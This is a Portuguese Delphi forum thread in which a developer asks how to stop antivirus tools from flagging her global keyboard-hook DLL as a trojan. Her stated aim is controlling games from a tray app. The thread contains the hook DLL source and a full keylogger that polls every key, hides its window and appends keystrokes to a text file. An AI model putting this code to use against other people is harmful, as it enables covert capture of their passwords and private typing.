Problema com anti-virus

Delphi

25/10/2007

Bom dia a todos. Estou com um problema com meu aplicativo.
Vou tentar fazer uma breve descrição do que ele faz.

Meu aplicativo é usado para abrir alguns executaveis, e depois de abertos ele controla os executáveis, na verdade são jogos.
Os comandos de maximizar, minimizar... Funcionam perfeitamente. Mas somente quando o meu aplicativo esta em foco. Mas preciso que isso aconteça em qualquer momento. Até mesmo por que ele fica no Tray. Depois de várias buscas consegui usando uma DLL, mas esta é barrada por alguns antivirus, como Avast, Panda.

Segue o código fonte da DLL:

library Hook;



uses
  Windows,
  Messages;

const
CM_MANDA_TECLA = WM_USER + $1000;

var
HookDeTeclado : HHook;
ArquivoM : THandle;
PReceptor : ^Integer;

function CallBackDelHook( Code : Integer;
wParam : WPARAM;
lParam : LPARAM
) : LRESULT; stdcall;


begin

if code=HC_ACTION then begin

ArquivoM:=OpenFileMapping(FILE_MAP_WRITE,False,´OReceptor´);

if ArquivoM<>0 then begin
PReceptor:=MapViewOfFile(ArquivoM,FILE_MAP_WRITE,0,0,0);
PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam);
UnmapViewOfFile(PReceptor);
CloseHandle(ArquivoM);
end;
end;

Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam)
end;

procedure HookOn; stdcall;

begin
HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);
end;

procedure HookOff; stdcall;
begin

UnhookWindowsHookEx(HookDeTeclado);
end;

exports

HookOn,
HookOff;

begin
end.

Quando é verificada pelo AVG, ou pelo norton. Não acusa nada.
Então, como faço para que nos outros antivirus, também nao acuse que a dll é um trojan?
Ou, como faço para conseguir capturar as teclas que preciso sem o meu aplicativo estar em foco, sem usar essa DLL?


Michele

Michele

Curtidas 0

Respostas

Vitor Alcantara

Vitor Alcantara

25/10/2007

Da uma olhada nesse exemplo http://www.elivaldo.com.br/cod/key_log.zip
Nesse exemplo é criado um Log das teclas pressionadas no teclado, talvez de pra aproveitar a idéia no seu aplicativo, e não requer DLLs.


GOSTEI 0
Michele

Michele

25/10/2007

Algumas dúvidas:
O código é só isso mesmo?

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    Timer2: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
const
  RSP_SIMPLE_SERVICE = 1;
  RSP_UNREGISTER_SERVICE = 0;

implementation

{$R *.DFM}
var  F:Textfile;
//Detect Press Key From any window
procedure TForm1.Timer1Timer(Sender: TObject);
var
      i : byte;
begin

  for i:=8 To 222 do
    begin
       if GetAsyncKeyState(i)=-32767 then
        begin
        case i of
        8  : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
        9  : memo1.text:=memo1.text+´[Tab]´;
        13 : memo1.text:=memo1.text+1310; //Enter
        17 : memo1.text:=memo1.text+´[Ctrl]´;
        27 : memo1.text:=memo1.text+´[Esc]´;
        32 :memo1.text:=memo1.text+´ ´; //Space
        // Del,Ins,Home,PageUp,PageDown,End
        33 : memo1.text := Memo1.text + ´[Page Up]´;
        34 : memo1.text := Memo1.text + ´[Page Down]´;
        35 : memo1.text := Memo1.text + ´[End]´;
        36 : memo1.text := Memo1.text + ´[Home]´;
        //Arrow Up Down Left Right
        37 : memo1.text := Memo1.text + ´[Left]´;
        38 : memo1.text := Memo1.text + ´[Up]´;
        39 : memo1.text := Memo1.text + ´[Right]´;
        40 : memo1.text := Memo1.text + ´[Down]´;

        44 : memo1.text := Memo1.text + ´[Print Screen]´;
        45 : memo1.text := Memo1.text + ´[Insert]´;
        46 : memo1.text := Memo1.text + ´[Del]´;
        145 : memo1.text := Memo1.text + ´[Scroll Lock]´;

        //Number 1234567890 Symbol !@$¬^&*()
        48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´)´
             else memo1.text:=memo1.text+´0´;
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´!´
             else memo1.text:=memo1.text+´1´;
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´@´
             else memo1.text:=memo1.text+´2´;
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´´
             else memo1.text:=memo1.text+´3´;
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´$´
             else memo1.text:=memo1.text+´4´;
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´¬´
             else memo1.text:=memo1.text+´5´;
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´^´
             else memo1.text:=memo1.text+´6´;
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´&´
             else memo1.text:=memo1.text+´7´;
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´*´
             else memo1.text:=memo1.text+´8´;
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´(´
             else memo1.text:=memo1.text+´9´;
        65..90 : // a..z , A..Z
            begin
            if ((GetKeyState(VK_CAPITAL))=1) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
                else
                   memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
                else
                    memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
            end;
        //Numpad
        96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad  0..9
        106:memo1.text:=memo1.text+´*´;
        107:memo1.text:=memo1.text+´&´;
        109:memo1.text:=memo1.text+´-´;
        110:memo1.text:=memo1.text+´.´;
        111:memo1.text:=memo1.text+´/´;
        144 : memo1.text:=memo1.text+´[Num Lock]´;

        112..123: //F1-F12
            memo1.text:=memo1.text+´[F´+IntToStr(i - 111)+´]´;

        186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´:´
              else memo1.text:=memo1.text+´;´;
        187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´+´
              else memo1.text:=memo1.text+´=´;
        188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´<´
              else memo1.text:=memo1.text+´,´;
        189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´_´
              else memo1.text:=memo1.text+´-´;
        190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´>´
              else memo1.text:=memo1.text+´.´;
        191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´?´
              else memo1.text:=memo1.text+´/´;
        192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´~´
              else memo1.text:=memo1.text+´´´;
        219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´{´
              else memo1.text:=memo1.text+´[´;
        220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´|´
              else memo1.text:=memo1.text+´\´;
        221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´}´
              else memo1.text:=memo1.text+´]´;
        222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+´"´
              else memo1.text:=memo1.text+´´´´;
        end;
        end;
    end;
end;


//SAVE THE TEXT  every 2 minutes 
procedure TForm1.Timer2Timer(Sender: TObject);
begin
        Assignfile(F,´Save.txt´);
        if not FileExists(´Save.txt´) Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,´Save.txt´);
        {$I-}
        Append(F);
        {$I+}
        If IOResult<> 0 Then
        Begin
                ShowMessage(´Cannot Open File´);
        End;
        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);
end;

end.


Por que quando mando executar o aplicativo Project1.exe some da tela.
Não aparece na tela nem na barra.
Como faço para fecha-lo?

E outra coisa, ele pega as teclas e grava no txt, mas meio que pela metade:
r queoro ququantomaexecndo utari o plti cetexesmdaProect1. oe telapa. ao aree tan bara oela nm r.Co ; fara echpaa-lo t E oua elpeaa teclasa coise s e g travancxt\ m quepelametdeas eio a[Ctrl]c? [Ctrl]vAci

E as teclas de função as vezes reconhece e as vezes nao, se eu digito bem devagar ele consegue mas se escrevo um pouco mais rapido, ja embaralha tudo.


GOSTEI 0
Vitor Alcantara

Vitor Alcantara

25/10/2007

Michele ele some da tela porque no source do projeto está definido

application.showmainform := false;//Não exibe o form Pincipal.

Para que o form seja visivel retire essa linha.

É um exemplo bem simples que se utiliza de um timer setado com a propriede interval 1, que checa cada vez a esse intervalo as teclas pressionadas.

É só uma idéia de um modo de detectar as teclas pressionadas sem o auxilio de DLLs.


GOSTEI 0
Vitor Alcantara

Vitor Alcantara

25/10/2007

Outra coisa talvez você não esteja vendo as teclas instataneamente por que o responsável por gravar as teclas recebidas no memos é o timer2 que está setado com a propriedade interval para 10000 (dez segundos) ou seja ele vai guardando as teclas presionadas em uma váriavel pelo timer 1 e de dez em dez segundos ele descarrega no arquivo de texto com o timer2.


GOSTEI 0
POSTAR